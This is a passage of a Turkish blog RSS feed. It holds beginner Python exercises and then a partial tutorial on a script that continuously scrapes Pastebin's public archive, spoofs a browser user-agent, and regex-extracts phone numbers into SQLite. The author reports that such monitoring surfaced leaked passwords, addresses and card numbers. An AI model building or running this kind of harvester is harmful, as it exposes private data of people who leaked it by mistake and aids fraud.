i = int(raw_input(&quot;Increment value: &quot;))

text = raw_input(&quot;Type your text: &quot;)
print(&quot;Encrypted text: {}&quot;.format(encrypt(text, i)))

text = raw_input(&quot;\nType for decrypt: &quot;)
print(&quot;Decrypted text: {}&quot;.format(decrypt(text, i)))&lt;/pre&gt;

&lt;h3&gt;05 - FizzBuzz&lt;/h3&gt;
&lt;p&gt;Kullanıcıdan alınan değer uzunluktaki bir dizi içindeki üçün katları için &quot;Fizz&quot;, beşin katları için &quot;Buzz&quot;, hem beş hem de üçün katları için &quot;FizzBuzz&quot;, her üçü de değilse sayının kendisini yazdırır.&lt;/p&gt;
&lt;pre&gt;def fizzbuzz(n):
    if n % 3 == 0 and n % 5 == 0:
        return &quot;FizzBuzz&quot;
    elif n % 3 == 0:
        return &quot;Fizz&quot;
    elif n % 5 == 0:
        return &quot;Buzz&quot;
    else:
        return str(n)

length = int(raw_input(&quot;Length of array: &quot;))

for i in range(1, length):
    print(fizzbuzz(i))&lt;/pre&gt;

&lt;h3&gt;06 - Taş, Kağıt, Makas&lt;/h3&gt;
&lt;p&gt;Klasik taş kağıt makas oyunu. Kullanıcı seçtikten sonra bilgisayar da seçim yapıyor ve karşılaştırılıyor. Oyun, kullanıcı seçim ekranında 1, 2, ya da 3 dışında bir veri girene kadar devam ediyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random&lt;/p&gt;
&lt;pre&gt;import random

print((&quot;-&quot; * 30) + &quot;\nRock, Paper, Scissors\n&quot; + (&quot;-&quot; * 30))

user_score, computer_score = 0, 0

while True:
    print(&quot;\n1 - Rock\n2 - Paper\n3 - Scissors&quot;)
    user_choice = raw_input(&quot;Your choice: &quot;)
    computer_choice = random.choice([&quot;1&quot;, &quot;2&quot;, &quot;3&quot;])
    
    if user_choice == &quot;1&quot;:
        if computer_choice == &quot;1&quot;:
            print(&quot;Computer&#39;s choice: Rock\nRock equal to rock. Scoreless!&quot;)
            
        elif computer_choice == &quot;2&quot;:
            print(&quot;Computer&#39;s choice: Paper\nPaper wraps stone. You lose!&quot;)
            computer_score += 100
            
        elif computer_choice == &quot;3&quot;:
            print(&quot;Computer&#39;s choice: Scissors\nRock breaks scissors. You win!&quot;)
            user_score += 100
            
    elif user_choice == &quot;2&quot;:
        if computer_choice == &quot;1&quot;:
            print(&quot;Computer&#39;s choice: Rock\nPaper wraps stone. You win!&quot;)
            user_score += 100
            
        elif computer_choice == &quot;2&quot;:
            print(&quot;Computer&#39;s choice: Paper\nPaper equal to paper. Scoreless!&quot;)
            
        elif computer_choice == &quot;3&quot;:
            print(&quot;Computer&#39;s choice: Scissors\nScissors cuts paper. You lose!&quot;)
            computer_score += 100
            
    elif user_choice == &quot;3&quot;:
        if computer_choice == &quot;1&quot;:
            print(&quot;Computer&#39;s choice: Rock\nRock breaks scissors. You lose!&quot;)
            computer_score += 100
            
        elif computer_choice == &quot;2&quot;:
            print(&quot;Computer&#39;s choice: Paper\nScissors cuts paper. You win!&quot;)
            user_score += 100
            
        elif computer_choice == &quot;3&quot;:
            print(&quot;Computer&#39;s choice: Scissors\nScissors equal to scissors. Scoreless!&quot;)
    
    else:
        break
    
print(&quot;\nUser&#39;s score: {}\nComputer&#39;s score: {}&quot;.format(user_score, computer_score))&lt;/pre&gt;

&lt;h3&gt;07 - Adam asmaca&lt;/h3&gt;
&lt;p&gt;Rastgele belirlenen bir kelime soruluyor. Her yanlış cevap için çubuk adamın bir parçası çiziliyor ve tamamlandığında oyun bitiyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random&lt;/p&gt;
&lt;pre&gt;import random

pics = [&quot;&quot;&quot;
   +---+
   |   |
       |
       |
       |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
       |
       |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
   |   |
       |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
  /|   |
       |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
  /|\  |
       |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
  /|\  |
  /    |
       |
=========&quot;&quot;&quot;,&quot;&quot;&quot;
   +---+
   |   |
   O   |
  /|\  |
  / \  |
       |
=========&quot;&quot;&quot;]

while True:
    print((&quot;-&quot; * 30) + &quot;\nHangman Game\n&quot; + (&quot;-&quot; * 30))
    
    word = random.choice([&quot;windows&quot;, &quot;python&quot;, &quot;terminal&quot;, &quot;ubuntu&quot;])
    step = 0
    letters = []
    
    while True:
        print(pics[step])
        
        for i, char in enumerate(word):
            print(char if i in letters else &quot;_&quot;),
            
        answer = raw_input(&quot;\nAnswer: &quot;)
        
        if answer == word:
            print(&quot;You win!\n\n&quot;)
            break
        else:
            while True:
                rand = random.randint(0, len(word))
                if not rand in letters:
                    letters.append(rand)
                    break
            
            step += 1
        
        if step &gt;= len(pics):
            print(&quot;You lose!\n\n&quot;)
            break
        
    if not &quot;y&quot; == raw_input(&quot;Play again (y/n): &quot;):
        break&lt;/pre&gt;

&lt;h3&gt;08 - Aşk hesaplayıcı&lt;/h3&gt;
&lt;p&gt;Çifte girilen isimlere göre on üzerinden puan veriyor. Aşk hesaplayıcının ne olduğuna &lt;a href=&quot;https://codeboom.wordpress.com/2012/04/18/php-love-calculator-task/&quot; target=&quot;_blank&quot;&gt;şuradan&lt;/a&gt; baktım.&lt;/p&gt;

&lt;pre&gt;name1 = raw_input(&quot;Your name: &quot;)
name2 = raw_input(&quot;Girlfriend&#39;s / Boyfriend&#39;s name: &quot;)

love = len(name1) + len(name2)

if len(name1) &gt; len(name2):
    love -= 5
else:
    love += 3

love *= 42
love = love / (100 + len(name2))

love = 10 if love &gt; 10 else round(love, 0)

print(&quot;{} and {} score is {} out of 10&quot;.format(name1, name2, love))&lt;/pre&gt;

&lt;h3&gt;09 - Sahte alıntı oluşturucu&lt;/h3&gt;
&lt;p&gt;Belirlenen metni noktalardan parçalayıp içinden verilen sayı kadar rastgele cümle alıp ekrana yazıyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random&lt;/p&gt;
&lt;pre&gt;import random

# source: http://en.wikipedia.org/wiki/Python_%28programming_language%29
sentences = &quot;Python is a widely used general-purpose, high-level programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java. The language provides constructs intended to enable clear programs on both a small and large scale. Python supports multiple programming paradigms, including object-oriented, imperative and functional programming or procedural styles. It features a dynamic type system and automatic memory management and has a large and comprehensive standard library. Python interpreters are available for installation on many operating systems, allowing Python code execution on a wide variety of systems. Using third-party tools, such as Py2exe or Pyinstaller,[24] Python code can be packaged into stand-alone executable programs for some of the most popular operating systems, allowing for the distribution of Python-based software for use on those environments without requiring the installation of a Python interpreter. CPython, the reference implementation of Python, is free and open-source software and has a community-based development model, as do nearly all of its alternative implementations. CPython is managed by the non-profit Python Software Foundation.&quot;.split(&quot;.&quot;)

print((&quot;-&quot; * 30) + &quot;\nPseudo Quote Generator\n&quot; + (&quot;-&quot; * 30))

n = int(raw_input(&quot;Number of sentences: &quot;))

quote = []

for i in range(n):
    quote.append(random.choice(sentences))

print(&quot;Your pseudo quote: {}.&quot;.format(&quot;.&quot;.join(quote)))&lt;/pre&gt;

&lt;h3&gt;10 - Parola oluşturucu&lt;/h3&gt;
&lt;p&gt;Kullanıcıdan uzunluk ve seviye değerleri alınıyor. Seçilebilecek karakterlere seviye birde harfler, ikide sayılar ve üçte özel karakterler ekleniyor. Sonra bu karakterler içinden belirlenen uzunluk kadarı rastgele alınıp döndürülüyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random, string&lt;/p&gt;
&lt;pre&gt;import random
import string

def generate_password(length, level, output=[]):
    chars = string.ascii_letters
    if level &gt; 1:
        chars = &quot;{}{}&quot;.format(chars, string.digits)
    if level &gt; 2:
        chars = &quot;{}{}&quot;.format(chars, string.punctuation)
    
    for i in range(length):
        output.append(random.choice(chars))
    
    return &quot;&quot;.join(output)

print((&quot;-&quot; * 30) + &quot;\n Password Generator\n&quot; + (&quot;-&quot; * 30))

password_length = int(raw_input(&quot;Length: &quot;))
password_level = int(raw_input(&quot;Level: &quot;))

password = generate_password(password_length, password_level)
print(&quot;\nYour password is: {}&quot;.format(password))&lt;/pre&gt;

&lt;h3&gt;12 - Haiku Oluşturucu&lt;/h3&gt;
&lt;p&gt;Haiku&#39;nun &lt;a href=&quot;http://tr.wikipedia.org/wiki/Haiku&quot; target=&quot;_blank&quot;&gt;ne olduğunu&lt;/a&gt; bu soruyla öğrendim. Mantığını kafada oluşturamamıştım, ufak bi arama yaptım &lt;a href=&quot;http://www.101computing.net/haiku-generator-in-python/&quot; target=&quot;_blank&quot;&gt;şunu&lt;/a&gt; buldum. Kodları kısaltayım falan derken &lt;code&gt;format&lt;/code&gt; içine liste elemanlarını yerleştirirken &lt;code&gt;words[0], words[1], ...&lt;/code&gt; falan diye yapıyordum. Sonra daha kısası var mı diye aradım ve &lt;code&gt;*words&lt;/code&gt; yapınca elemanların sıradan yerleştiğini &lt;a href=&quot;https://eksisozluk.com/ogrenildiginde-ufku-iki-katina-cikaran-seyler--2593151&quot; target=&quot;_blank&quot;&gt;*öğrendim.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: random&lt;/p&gt;
&lt;pre&gt;from random import choice

words = [
    choice([&quot;Enchanting&quot;, &quot;Amazing&quot;, &quot;Colourful&quot;, &quot;Delightful&quot;, &quot;Delicate&quot;]),
    choice([&quot;visions&quot;, &quot;distance&quot;, &quot;conscience&quot;, &quot;process&quot;, &quot;chaos&quot;]),
    choice([&quot;superstitious&quot;, &quot;contrasting&quot;, &quot;graceful&quot;, &quot;inviting&quot;, &quot;contradicting&quot;, &quot;overwhelming&quot;]),
    choice([&quot;true&quot;, &quot;dark&quot;, &quot;cold&quot;, &quot;warm&quot;, &quot;great&quot;]),
    choice([&quot;scenery&quot;,&quot;season&quot;, &quot;colours&quot;,&quot;lights&quot;,&quot;Spring&quot;,&quot;Winter&quot;,&quot;Summer&quot;,&quot;Autumn&quot;]),
    choice([&quot;undeniable&quot;, &quot;beautiful&quot;, &quot;irreplaceable&quot;, &quot;unbelievable&quot;, &quot;irrevocable&quot;]),
    choice([&quot;inspiration&quot;, &quot;imagination&quot;, &quot;wisdom&quot;, &quot;thoughts&quot;])
]

print((&quot;-&quot; * 30) + &quot;\nHaiku Generator\n&quot; + (&quot;-&quot; * 30))
print(&quot;{} {},\n{} {} {},\n{} {}.&quot;.format(*words))&lt;/pre&gt;

&lt;h3&gt;13 - Sihirli Sekiz Top&lt;/h3&gt;
&lt;p&gt;Topun içindeki sıvıdaki bi üçgen prizmada yazan cevapları rastgele getiren oyuncak gibi rastgele cevaplar verir.&lt;/p&gt;

&lt;p&gt;Modüller: random&lt;/p&gt;
&lt;pre&gt;from random import choice

answers = [&quot;It is certain&quot;, &quot;Outlook good&quot;, &quot;You may rely on it&quot;, &quot;Ask again later&quot;, &quot;Concentrate and ask again&quot;, &quot;Reply hazy, try again&quot;, &quot;My reply is no&quot;, &quot;My sources say no&quot;]
raw_input(&quot;Ask your question to magic eight ball: &quot;)

print(&quot;Answer: {}&quot;.format(choice(answers)))&lt;/pre&gt;

&lt;h3&gt;15 - Metni geriye çevirme&lt;/h3&gt;
&lt;p&gt;Kullanıcının girdiği metni tersine çevirip ekrana yazıyor.&lt;/p&gt;
&lt;pre&gt;def reverse(value, output=[]):
    #range(start, stop, step)
    for i in range(len(value) - 1, -1, -1):
        output.append(value[i])
    
    return &quot;&quot;.join(output)

text = raw_input(&quot;What&#39;s up: &quot;)
print(&quot;Your reversed text is: {}&quot;.format(reverse(text)))&lt;/pre&gt;

&lt;h3&gt;16 - Metindeki ünlü harfler&lt;/h3&gt;
&lt;p&gt;Girilen metin içinde kaç tane ünlü harf olduğunu bulur. Türkçe karakterleri de ekleyebilirsiniz.&lt;/p&gt;
&lt;pre&gt;def vowels_count(text, output=0):
    vowels = &quot;aeiouAEIOU&quot;
    for char in text:
        if char in vowels:
            output += 1
    return output

text = raw_input(&quot;Type some text: &quot;)
print(&quot;Vowels in text: {}&quot;.format(vowels_count(text)))&lt;/pre&gt;

&lt;h3&gt;17 - Metindeki kelime sayısı&lt;/h3&gt;
&lt;p&gt;Girilen metin boşluklardan parçalanıyor ve her parçanın tamamen noktalama işaretlerinden oluşup oluşmadığı kontrol ediliyor. Uygun kelimeler sayılıp sonuç ekrana yazılıyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: string&lt;/p&gt;
&lt;pre&gt;import string

def is_word(text):
    for char in text:
        if not char in string.punctuation:
            return True
    return False

def word_count(value, output = 0):
    potential_words = value.split(&quot; &quot;)
    
    for word in potential_words:
        if is_word(word):
            output += 1
    
    return output

text = raw_input(&quot;Tell something: &quot;)
print(&quot;Total words: {}&quot;.format(word_count(text)))&lt;/pre&gt;

&lt;h3&gt;24 - Girilen sayıyı ikilik sisteme (binary) çevirme&lt;/h3&gt;
&lt;p&gt;Kullanıcının onluk sistemde (decimal) girdiği sayıyı ikilik sisteme çeviriyor. Bizim yazdığımız fonksiyon dışında Python&#39;un bize sağladığı diğer iki yolu da ekledim.&lt;/p&gt;

&lt;pre&gt;decimal = int(raw_input(&quot;Number in decimal format: &quot;))

def binary(n):
    output = &quot;&quot;
    while n &gt; 0:
        output = &quot;{}{}&quot;.format(n % 2, output)
        n = n // 2
    return output

# our method
print(binary(decimal))

# another way
print(bin(decimal)[2:])

# yet another way
print(&quot;{0:b}&quot;.format(decimal))&lt;/pre&gt;

&lt;h3&gt;27 - Fibonacci sayıları&lt;/h3&gt;
&lt;p&gt;Girilen değer kadar (uzunlukta) fibonacci sayıları üretir.&lt;/p&gt;
&lt;pre&gt;def fibonacci(n, output=[]):
    a, b = 1, 1
    for i in range(n):
        a, b = b, a + b
        output.append(str(a))
    return output

number = int(raw_input(&quot;Length of fibonacci sequence: &quot;))

print(&quot;Result: {}&quot;.format(&quot;,&quot;.join(fibonacci(number))))&lt;/pre&gt;

&lt;h3&gt;28 - Faktoriyel hesaplama&lt;/h3&gt;
&lt;p&gt;Yüz (ya da &quot;n&quot;) faktoriyeli hesaplıyor.&lt;/p&gt;
&lt;pre&gt;def factorial(n, fact=1):
    for i in range(1, n + 1):
        fact *= i
    
    return fact

print(&quot;Factorial of 100: {}&quot;.format(factorial(100)))&lt;/pre&gt;

&lt;h3&gt;32 - Konsolda Noel Ağacı&lt;/h3&gt;
&lt;p&gt;Verilen yükseklikte bir noel ağacı çizer.&lt;/p&gt;

&lt;pre&gt;height = int(raw_input(&quot;Height of Christmas Tree: &quot;))

for i in range(int(height * 0.7)):
    print( (&quot; &quot; * (height - ( i // 2))) + (&quot;*&quot; * i))

for i in range(int(height * 0.7), height):
    print((&quot; &quot; * (height - 1)) + &quot;||&quot;)&lt;/pre&gt;

&lt;h3&gt;33 - Alan hesaplayıcı&lt;/h3&gt;
&lt;p&gt;Kullanıcının girdiği 1, 2, ya da 3 seçeneğine göre kare, dikdörtgen ya da çemberin alanını hesaplayıyor.&lt;/p&gt;
&lt;pre&gt;print((&quot;-&quot; * 30) + &quot;\nArea Calculator\n&quot; + (&quot;-&quot; * 30))

print(&quot;\n1 - Square\n2 - Rectangle\n3 - Circle\n&quot;)
choice = raw_input(&quot;Your choice: &quot;)

if choice == &quot;1&quot;:
    side = int(raw_input(&quot;A side: &quot;))
    print(&quot;Area of square is: {}&quot;.format(side ** 2))

elif choice == &quot;2&quot;:
    aside = int(raw_input(&quot;A side: &quot;))
    bside = int(raw_input(&quot;B side: &quot;))
    print(&quot;Area of rectangle is: {}&quot;.format(aside * bside))

elif choice == &quot;3&quot;:
    r = int(raw_input(&quot;Radius: &quot;))
    pi = 3.14159
    print(&quot;Area of circle is: {}&quot;.format((r ** 2) * pi))

else:
    print(&quot;Good bye...&quot;)&lt;/pre&gt;

&lt;h3&gt;40 - Dizideki en büyük sayı&lt;/h3&gt;
&lt;p&gt;Kullanıcının boşluklarla ayırarak girdiği sayıların içinden en büyüğünü index numarasıyla beraber yazdırır.&lt;/p&gt;
&lt;pre&gt;def largest(array, index=0):
    for i, v in enumerate(array):
        if v &gt; array[index]:
            index = i
    
    return index

numbers = raw_input(&quot;Numbers (seperate with whitespaces): &quot;).split(&quot; &quot;)
i = largest(numbers)
print(&quot;Largest number is {} at index {}.&quot;.format(numbers[i], i))&lt;/pre&gt;

&lt;h3&gt;57 - Sıralama Algoritması&lt;/h3&gt;
&lt;p&gt;Baloncuk sıralama algoritması kullanarak diziyi küçükten büyüğe doğru sıralar.&lt;/p&gt;
&lt;pre&gt;def bubble_sort(array):
    for i in range(1, len(array)):
        for j in range(len(array) - i):
            if array[j] &gt; array[j + 1]:
                temp = array[j]
                array[j] = array[j + 1]
                array[j + 1] = temp
    
    return array

numbers = [1, 12, 2, 5, 6, 1, 8, 55, 8, 8, 2, 17]

print(&quot;Sorted array: {}&quot;.format(bubble_sort(numbers)))&lt;/pre&gt;

&lt;h3&gt;66 - Asal sayı oluşturucu&lt;/h3&gt;
&lt;p&gt;İstenilen sayıda asal sayı oluşturup liste olarak döndürür.&lt;/p&gt;
&lt;pre&gt;def is_prime(n):
    for i in range(2, n):
        if n % i == 0:
            return False
    return True

def generate_prime_number(n, output=[]):
    i = 2
    while len(output) &lt; n:
        if is_prime(i):
            output.append(i)
        
        i += 1
    return output

print(generate_prime_number(15))&lt;/pre&gt;

&lt;p&gt;Yada &lt;a href=&quot;http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes&quot; target=&quot;_blank&quot;&gt;şuradaki&lt;/a&gt; yöntemle yapmak istersek:&lt;/p&gt;

&lt;pre&gt;def primes_upto(n, multiples = set(), output=[]):
    for i in range(2, n + 1):
        if i not in multiples:
            output.append(i)
            multiples_to_n = range(i * i, n + 1, i)
            if multiples_to_n:
                multiples.update(multiples_to_n)
    
    return output

n = int(raw_input(&quot;Generate prime number up to: &quot;))
print primes_upto(n)&lt;/pre&gt;

&lt;h3&gt;71 - Yazı yazma hızını hesaplama&lt;/h3&gt;

&lt;p&gt;Kullanıcıdan bir metin girilmesi isteniyor, ilk zamanla yazıyı yazdıktan sonraki zaman arasındaki fark saniye cinsinden ekrana yazılıyor. Kullanıcıya saniye başına kaç harf yazdığı söyleniyor.&lt;/p&gt;

&lt;p&gt;Kullanılan modüller: datetime&lt;/p&gt;

&lt;pre&gt;from datetime import *

before = datetime.now()

text = &quot;Say hello to my little friend.&quot;
print(&quot;Please type: {}&quot;.format(text))

if text == raw_input(&quot;: &quot;):
    after = datetime.now()
    
    speed = after - before
    seconds = speed.total_seconds()
    letter_per_second = round(len(text) / seconds, 1)
    
    print(&quot;You won!&quot;)
    print(&quot;Your score is: {} seconds.&quot;.format(seconds))
    print(&quot;{} letters per second.&quot;.format(letter_per_second))
else:
    print(&quot;You failed.&quot;)&lt;/pre&gt;

&lt;h3&gt;87 - Pascal Üçgeni&lt;/h3&gt;
&lt;p&gt;Verilen yükseklikte &lt;a href=&quot;http://tr.wikipedia.org/wiki/Pascal_%C3%BC%C3%A7geni&quot; target=&quot;_blank&quot;&gt;pascal üçgeni&lt;/a&gt; oluşturup döndürür.&lt;/p&gt;
&lt;pre&gt;def generate_pascal(height, rows=[]):
    rows.append([1])
    row=[1]
    for i in range(height):
        last = 0
        next_row = []
        for n in row:
            next_row.append(last + n)
            last = n
        next_row.append(1)
        
        row = next_row
        rows.append(row)
    
    return rows

for i in generate_pascal(5):
    print i&lt;/pre&gt;</description><link>http://safkaninsan.blogspot.com/2015/05/yeni-baslayanlar-icin-python-projeleri.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmtgygmy0sOggZpOkT8NuDB52Fr2-WUFk9xm5Rq6nNwkATZELCtG1SPeMFVxECO2eIhR1MdND-zORKgr16yhe_9JxAK4gcCcwuElJICme77PdXtfjy6x1UHJCApUpK0t-0oRFfbOlscX4/s72-c/pulp-fiction.jpg" height="72" width="72"/><thr:total>23</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-7660132053119911091</guid><pubDate>Thu, 23 Apr 2015 12:39:00 +0000</pubDate><atom:updated>2015-04-23T15:39:24.708+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">darkside</category><category domain="http://www.blogger.com/atom/ns#">python</category><category domain="http://www.blogger.com/atom/ns#">veri madenciliği</category><title>Veri Madenciliği: PasteBin Toplayıcı (Python)</title><description>&lt;p&gt;PasteBin&#39;i biliyorsunuz, en çok kullanılan snippet sitelerinden biri. Yeni snippet eklerken iki modu var; private ve public. Private olarak eklenen kayıtlar site arşivinde listelenmiyor, public olarak eklenenler de belirli bir süre (yenileri eklenene kadar) &lt;a href=&quot;http://pastebin.com/archive&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot;&gt;arşiv&lt;/a&gt; bölümünden görüntülenebiliyor. Bu sayede aradığımız bilgileri eklenen snippetleri inceleyip filtreleyerek elde edebiliyoruz.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;Veri Madenciliği: PasteBin Toplayıcı (Python)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJSnkbfAYTQ-7A4KcaTV02J9KHFoGcZCesXGnJabzN0QPNO8bkyCsr9lMtOaAvygtOFwSwa-A76TBFyJut4i4TfpAphU8-8T3J8sHfmuc6MdUKh4inAC4kTRW4MfEBnq_KGmf8KcoMxdI/s1600/datamining.gif&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;Aslında bu sitenin bir hatası değil, kullanıcıların dikkatsizliği. Yani göndereceği bilgiye sadece linklerle erişebiliyor olduğunu sanıyor olmalılar. Ya da sadece acele ederken unutuyorlar.&lt;/p&gt;

&lt;p&gt;Bilgilerin çoğu çöp evet, fakat arada işe yarar bilgiler de çıkabiliyor. Bir, iki günlük takiple mail adresleri (ve şifreleri), telefon numaraları, gerçek kişilere ait adresler, kredi kartı numaraları gibi bilgiler elde edebildim. Fakat tabi ki hiçbirini kullanmadım, sadece test amaçlıydı.&lt;/p&gt;

&lt;p&gt;Arşivdeki kayıtlar kalıcı değil, yenileri eklendikçe eskiler listeden kaldırılıyor. Bu yüzden yazacağımız script açık olduğu sürece bilgiler takip edilebilecek. İstediğimiz türdeki bilgiyi &lt;a href=&quot;https://docs.python.org/2/library/re.html&quot; target=&quot;_blank&quot;&gt;düzeli ifadeler&lt;/a&gt; yardımıyla filtreleyip gereksiz bilgileri kaydetmeyeceğiz. Yani her anlamda bir &quot;&lt;a href=&quot;http://tr.wikipedia.org/wiki/Veri_madencili%C4%9Fi&quot; target=&quot;_blank&quot;&gt;madenci&lt;/a&gt;&quot; yapacağız.&lt;/p&gt;

&lt;p&gt;Hazırsanız başlayalım.&lt;/p&gt;

&lt;h2&gt;Neler kullanacağız?&lt;/h2&gt;
&lt;p&gt;Kullandığım modülleri altta listeledim, şimdilik siz de aynı importları yapabilirsiniz.&lt;/p&gt;

&lt;pre&gt;import re
import requests
import time
import sqlite3
from bs4 import BeautifulSoup
import phonenumbers&lt;/pre&gt;

&lt;p&gt;Bilgiyi filtrelemek için re, sitenin içeriğini almak için requests, veri çekme zamanlaması için time, ayıkladığımız verileri kaydetmek için &lt;a href=&quot;https://docs.python.org/2/library/sqlite3.html&quot; target=&quot;_blank&quot;&gt;sqlite3&lt;/a&gt;, çektiğimiz veriyi ayrıştırmak için &lt;a href=&quot;https://pypi.python.org/pypi/beautifulsoup4/4.3.2&quot; target=&quot;_blank&quot;&gt;bs4&lt;/a&gt; kullanacağız. Bu örnekte telefon numaralarını alacağım için &lt;a href=&quot;https://pypi.python.org/pypi/phonenumbers&quot; target=&quot;_blank&quot;&gt;phonenumbers&lt;/a&gt; modülünü de kullandım. Siz istediğinize göre kullanmayabilirsiniz.&lt;/p&gt;

&lt;h2&gt;PastebinMiner Nesnesi&lt;/h2&gt;
&lt;p&gt;Önce kullanacağımız sınıfı oluşturalım. Ardından ihtiyacımız olan tüm fonksiyonları yazacağız.&lt;/p&gt;

&lt;pre&gt;class PastebinMiner:
    def __init__(self, path):
        self.data = []
        self.source = &quot;http://pastebin.com/archive&quot;
        self.connection = sqlite3.connect(path)
        self.cursor = self.connection.cursor()&lt;/pre&gt;

&lt;p&gt;Başlangıçta parametre olarak sqlite veritabanının yolunu alıyoruz. Sabit pastebin arşiv adresini belirledikten ve aldığımız veriyi saklamak için bir liste (data) oluşturduktan sonra sqlite bağlantısını oluşturuyoruz.&lt;/p&gt;

&lt;p&gt;Sınıfın içinde iki tane değişken var. İlki programın çalışmasını kontrol eden &lt;code&gt;mining&lt;/code&gt;, ikincisi veriyi çekerken normal bir tarayıcıyı taklit etmek için gereken user-agent bilgisini içeren &lt;code&gt;headers&lt;/code&gt; sözlüğü. Eğer benimkini kullanmak istemiyorsanız &lt;a href=&quot;http://whatsmyuseragent.com/&quot; target=&quot;_blank&quot;&gt;kendinizinkini&lt;/a&gt; öğrenebilirsiniz.&lt;/p&gt;

&lt;pre&gt;    mining = True
    headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0&quot;}&lt;/pre&gt;

&lt;p&gt;Şimdi basitçe izleme işini başlatan start fonksiyonunu ekleyelim.&lt;/p&gt;

&lt;pre&gt;    def start(self):
        self.mine()&lt;/pre&gt;

&lt;h3&gt;Yaşam Döngüsü&lt;/h3&gt;
&lt;p&gt;Olayın döndüğü &lt;code&gt;mine&lt;/code&gt; fonksiyonunu yazalım. Aşama aşama açıklayacağım.&lt;/p&gt;

&lt;pre&gt;    def mine(self):
        while self.mining:
            response = requests.get(self.source, headers=self.headers).content
            soup = BeautifulSoup(response)
            soup.prettify()&lt;/pre&gt;

&lt;p&gt;Az önce tanımladığımız &lt;code&gt;mining&lt;/code&gt; değişkenine göre teorik olarak sonsuza kadar dönen bir döngümüz var. Hemen içinde &lt;code&gt;requests&lt;/code&gt; modülü ile az önce tanımladığımız &lt;code&gt;source&lt;/code&gt; ve &lt;code&gt;header&lt;/code&gt; bilgilerini kullanarak safa içeriğini alıyoruz.&lt;/p&gt;

&lt;p&gt;Ardından aldığımız HTML kodları ile BeatifulSoup nesnesi oluşturup, &lt;code&gt;prettify&lt;/code&gt; fonksiyonu ile kodları düzenli hale getiriyoruz.&lt;/p&gt;

&lt;p&gt;Şimdi hemen altta iç içe iki tane for döngüsü oluşturalım.&lt;/p&gt;

&lt;pre&gt;            for table in soup.findAll(&#39;table&#39;, {&#39;class&#39;: &#39;maintable&#39;}):
                for a in table.findAll(&#39;a&#39;, href=True):
                    id = a[&#39;href&#39;][1:]
                    if not id.startswith(&quot;archive&quot;) and not id in self.data:
                        print(&quot;# GET: {}&quot;.format(id)),

                        content = requests.get(&quot;http://pastebin.com/raw.php?i={}&quot;.format(id), headers=self.headers).content&lt;/pre&gt;

&lt;p&gt;Döngülerden ilki sayfa içinde class özelliği maintable olan tabloları alıyor. İçteki de o tablo içindeki href özelliği verilmiş olan linkleri topluyor.&lt;/p&gt;

&lt;p&gt;Arşiv sayfasının kodlarını incelerseniz göreceksiniz ki, linklere snippetlerin ID numaraları verilmiş. Bu yüzden zahmetsizce toplayabiliyoruz. Hemen altındaki &lt;code&gt;if&lt;/code&gt; koşulu ise alınan linkin &quot;archive&quot; ile başlamayıp (yani geçerli olup), alınan ID numarasının yukarıda tanımladığımız &lt;code&gt;data&lt;/code&gt; sözlüğünde bulunmamasını (yani ilk defa analiz edilecek olmasını) kontrol ediyor.&lt;/p&gt;

&lt;p&gt;Site içindeki &lt;code&gt;raw.php&lt;/code&gt; dosyası ID numarası verilen kaydı metin belgesi olarak bize sunuyor. Yani extra regexp kullanmadan bu bilgiyi de almış oluyoruz.&lt;/p&gt;

&lt;p&gt;Snippet içeriğini aldığımıza göre şimdi filtrelemeye başlayalım.&lt;/p&gt;

&lt;pre&gt;                        # search for pattern
                        regex = re.compile(r&quot;(\+?\d{2}\s?\d{3}\s?\d{3}\s?\d{2}\s?\d{2})&quot;)
                        matches = regex.findall(content)&lt;/pre&gt;

&lt;p&gt;Benim kullandığım desen kabaca geçerli telefon numaralarını bulmak için. Daha iyisi muhtemelen yazılabilir, ama şimdilik benim işimi görüyor. Eğer başka tür bir bilgi için çalışıyorsanız ona uygun bir desen hazırlamalısınız.&lt;/p&gt;

&lt;p&gt;Deseni derleyip (compile) daha önce siteden çektiğimiz &lt;code&gt;content&lt;/code&gt; içindeki eşleşmeleri &lt;code&gt;matches&lt;/code&gt; değişkenine attık.&lt;/p&gt;

&lt;p&gt;Şimdi bulunan eşleşmeleri istediğimiz gibi kontrol edip, işe yarayanları kaydedelim.&lt;/p&gt;

&lt;pre&gt;                        if matches:
                            print(&quot; | Found&quot;)

                            for match in matches:
                                self.data.append(id)
                                print(&quot;@ {}&quot;.format(match)),&lt;/pre&gt;

&lt;p&gt;Eğer &lt;code&gt;matches&lt;/code&gt; boş değilse ekrana mesaj yazdırıp bir döngü ile tüm eşleşmeleri dolaşıp ekrana yazdırdık. Kaydın ID numarasını da &lt;code&gt;data&lt;/code&gt; listesine ekledik.&lt;/p&gt;

&lt;p&gt;Şimdi yakaladığımız bilgilerin geçerliliğini kontrol edeceğiz.&lt;/p&gt;
&lt;pre&gt;                                try:
                                    number = phonenumbers.parse(match, &quot;TR&quot;)
